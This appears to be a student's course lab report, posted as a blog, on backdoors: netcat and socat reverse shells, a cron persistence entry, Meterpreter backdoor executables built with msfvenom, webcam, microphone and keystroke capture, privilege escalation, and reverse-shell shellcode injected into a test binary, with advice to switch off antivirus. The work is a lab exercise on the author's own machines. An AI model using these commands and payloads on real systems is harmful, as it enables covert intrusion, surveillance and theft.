20181330 王茜 《网络对抗技术》Exp2 后门原理与实践

1、实践过程记录

1.1 NC 或 netcat

1.关于netcat

  • Netcat 是一款简单的Unix工具,使用UDP和TCP协议。
  • 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。
  • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
  • Windows: 课程主页附件中下载ncat.rar解压即可使用。
  • Mac: 系统自带,"man nc",查看其使用说明。

1.1.1 Win获得Linux Shell

Step0:首先查看windows主机和kali的IP地址

Step0.1:在kali的终端输入 ifconfig 查看当前kali的IP地址,如下图所示。

Step0.2:在kali的终端输入 ipconfig 查看当前Windows主机当前的IP地址,如下图所示。

所以:
我的Windows主机IP地址:172.16.227.49
kali的IP地址:192.168.91.133

Step1:windows 打开监听

在cmd.exe下输入 ncat.exe -l -p 8330 

 

Step2:Linux反弹连接win

输入 nc 172.16.277.49 8330 -e /bin/sh 

Step3:windows下获得一个linux shell,可运行任何指令,如ls

成功!但是输出乱码,应该是字符编码问题,我们需要修改一下字符编码。

Step4:修改字符编码

在cmd.exe输入 cd c:\windows\ststem32 

之后输入 chcp 65001 更改字符编码为UTF-8

成功之后会显示如下图所示:

注意:这种方法只是临时更改,永久修改需要修改注册表。

此时重新在Windows打开监听,在Linux反弹连接Windows,输入 ls 命令,成功!

1.1.2 Linux获得Win Shell

Step1:Linux运行监听指令

Step2:Windows反弹连接Linux

Step3:Linux下看到Windows的命令提示

成功!

1.1.3 Netcat扩展知识

1.1.3.1 nc传输数据

Step1:在Windows端输入 ncat.exe -l 8330 > 20181330wangqian.txt 

Step2:在kali端输入 nc 172.16.227.49 8330 < 20181330wangqian.in 

Step3:之后两者就可以传输数据!

 

1.1.4 使用socat获取主机操作Shell, 任务计划启动 

此时我的Windows主机ip为: 172.16.227.49 

kali的ip为: 192.168.91.133 

Step1: 使用netcat获取主机操作Shell,cron启动

  

输入 select-editor ;

在第一次使用的时候需要选择编译器,我们选择  3  ,vim

  •  Cron 是 Linux 下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可 man cron 。
  •  crontab 指令增加一条定时任务,-e表示编辑。
 在最后一行添加22 * * * * /bin/netcat 172.16.227.49 8330 -e /bin/sh每个时间段的第22分钟反向连接Windows主机的8330端口. 

接着按下 esc 输入 :wq 保存退出配置即生效,可通过 crontab -l 查看

Step2:在系统时间22分时,就发现获得kali shell。可以使用一些命令查看

使用socat获取主机操作Shell, 任务计划启动。

Step3:win10系统中找到左下角的windows标志: 右键-计算机管理-任务计划程序-创建任务 

 常规 中填写 任务名称 为 exp2

点击 触发器 然后 新建触发器 ,我选择 工作站锁定时 触发,然后点击确定。

在操作中,导入你所下载解压后的 socat.exe 的路径,在添加参数中填入 tcp-listen:8330 exec:cmd.exe,pty,stderr (把 cmd.exe 绑定到端口 8330 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上),创建完成之后,点击确定。

创建完成之后,按 Windows+L 快捷键锁定计算机,再次打开时,双击 任务计划程序库 可以发现之前创建的任务已经开始运行

 

Step4:在kali中输入 socat - tcp:172.16.227.49:8330 (-代表标准的输入输出,第二个流连接到Windows主机的 8330 端口,IP为win的IP),成功获得 cmd shell )

输入 dir 进行测试,成功输出

1.2 Meterpreter

我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter.

揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。

后门是编写好的程序,但是一旦被杀软识别,就不能再使用了。

所以就出现了一些平台,把后门的基本功能、扩展功能、编码模式、运行平台及参数都做成可调整的参数和零件,需要的时候组合即可生成一个可执行文件。例如intersect、Metaspolit的msfvenom指令、Veil-evasion等等。

我们接下来使用的是msfvenom命令,生成的后门程序是Meterpreter。

Meterpreter的底层原理可以学习揭开Meterpreter的神秘面纱

1.2.1 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

Step1:

在kali终端中输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -f exe > 20181330_backdoor.exe 

或者输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 PORT=8330 -f exe > meter_backdoor.exe 

 在kali中输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -f exe > 20181330_backdoor.exe  (IP为kali的IP)生成后门程序 20181330_backdoor.exe 

  • -f :生成文件的类型
  • -p:使用的payload,就是有效载荷,简单来说就是被运输的东西,这个命令中windows/meterpreter/reverse_tcp就是一段shellcode
  • -x:使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e:使用的编码器,用于对shellcode变形,为了免杀。
  • -i:编码器的迭代次数。如上即使用该编码器编码5次。
  • -b:badchar是payload中需要去除的字符。
  • LHOST:反弹回连的IP
  • LPORT:是回连的端口
  • > :输出到哪个文件
 

生成的文件我们需要传给Windows,但是这种未经过处理的后门程序很大可能会被防火墙删除。

为了验证后门程序的功能,我们需要临时关闭电脑上的杀软,但是实验之后一定要记得打开。

Step2:

我第一次进行实验时,由于没有设置好防火墙,导致传输的文件被删除。

所以最好先关闭防火墙再进行传输文件。

实时保护很重要,要记得关闭,否则后门程序会传不过来。

实验做完后记得重新打开防火墙~

Step3:

在Windows中使用 ncat.exe -lv 8330 > 20181330_backdoor.exe 进行传输

在kali中输入  nc 172.16.227.49 8330 < 20181330_backdoor.exe (此处的IP为Windows的IP)

将生成的后门程序传送到Windows主机,传输成功。

1.2.2 MSF打开监听进程

Step1:

在 Kali 上使用 msfconsole 指令进入msf控制台

输入 use exploit/multi/handler 使用监听模块,设置payload

输入 set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload

输入 set LHOST 172.16.227.49 ,这里用的是 LinuxIP ,和生成后门程序时指定的IP相同

输入set LPORT 8330,要使用相同的端口

输入 show options 查看

输入 exploit 设置监听

Step2:

在Windows主机上双击运行生成的后门文件 20181330_backdoor.exe 

此时可以看到, Kali 上已经获得了 windows 主机的连接,并且得到了远程控制的 shell 

1.2.3 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

Step1:输入record_mic指令可以截获一段音频

Step2:输入webcam_snap指令可以使用摄像头进行拍照

Step3:使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

Step4:使用screenshot指令可以进行截屏

截屏如下:

 Step5:

输入 getuid 查看当前用户

输入 getsystem 提取权限

2、加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

方法一:网站直接下载shellcode

Step1 :下载一份linux/x86平台的,反弹连接的shellcode(网址::https://www.exploit-db.com/shellcodes)。

本次实验我下载的shellcode为:

输入:

perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input181330

Step2:按照实验一,可以找到我的此次实验的地址为(和上次一样,需要关闭地址随机化和设置堆栈可执行): 0xffffd5ac+4=0xffffd5b0 
Step3:构造shellcode
输入
perl -e 'print "A" x 32;print"\xb0\x05\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input181330

Step4:

同样的:

  • 在Kali上输入 msfconsole 指令进入msf控制台
  • 输入 use exploit/multi/handler 使用监听模块,设置payload
  • set payload linux/x86/shell_reverse_tcp 
  • set LHOST 127.0.0.1 按照网站shellcode的要求
  •  set LPORT 4444 按照网站shellcode的要求
  • 输入 exploit 设置监听

注意要按照网站下载shellcode的要求设置LHOST和LPORT。

Step5:打开另一个终端输入 (cat input181330;cat) | ./pwn1 运行注入shellcode后的pwn1

成功!

方法二:利用msf生成可执行的后门

Step1:

在Kali上执行指令 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.91.133 LPORT=8330 -x pwn1 -f elf > pwntest 

指令说明:

  • IP地址:控制端IP,即Linux的IP
  •  -x 使用的可执行文件模板,指令中为pwn1,也就是写入pwn1中
  •  -f 生成文件的类型,我们此处要得到的是elf文件
  •  -p payload,有效载荷,也就是被运输的东西。

 

Step2:

在 Kali 上使用 msfconsole 指令进入msf控制台

输入 use exploit/multi/handler 使用监听模块,设置payload

输入set payload linux/x86/meterpreter/reverse_tcp 

输入set LHOST 192.168.91.133 ,这里用的是LinuxIP,和生成程序时指定的IP相同

输入 set LPORT 8330 ,注意要使用相同的端口

输入 exploit 执行监听

Step3:

在另一个终端进入相应文件夹,输入 chmod +x pwntest 

否则会出现权限不够无法运行的问题

接着输入运行 ./pwntest 

Step4:

之前的终端进行响应,得到了pwntest的功能

3、基础问题回答

3.1 例举你能想到的一个后门进入到你系统中的可能方式?

可能通过网站挂马;利用硬件传播(比如U盘);一些病毒(例如蠕虫等等);钓鱼;社会工程学……

3.2 例举你知道的后门如何启动起来(win及linux)的方式?

本次实验中,在Linux里先修改cron文件,通过nc传播到另一台主机,当另一台主机运行时启动后门;

通过漏洞攻击启动;

一些不安全的软件编写时留下了后门,使用这些软件可能会使后门启动;

等等。

3.3 Meterpreter有哪些给你映像深刻的功能?

实验中我们通过使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录,并提权。

对我来说,提权是映像最深刻的。因为这个是最危险的,攻击者提权后可能进行意想不到的攻击。

3.4如何发现自己有系统有没有被安装后门?

首先可以通过Windows自带的防火墙识别,很多是可以被识别出来的;

再就是查看任务管理器有没有很陌生的任务在运行;

还可以查看注册表信息。

4、实验总结与体会

本次实验通过利用后门,可以操作shell,可以获取目标主机音频、摄像头、击键记录等内容,可以提权……

实验中简单的后门其实是可以被防火墙识别的,这让我意识到了防火墙的重要性,以及一定要及时更新系统、安装补丁,尽量避免系统漏洞;

在实验里简单的后门程序就可以实现那么多效果,一旦计算机被植入这些后门程序,个人隐私就轻而易举地会被泄露,在平时一定要养成良好的使用计算机的习惯,不要使用来源不明的软件等。

posted @ 2021-03-25 21:28  王茜  阅读(124)  评论(0编辑  收藏  举报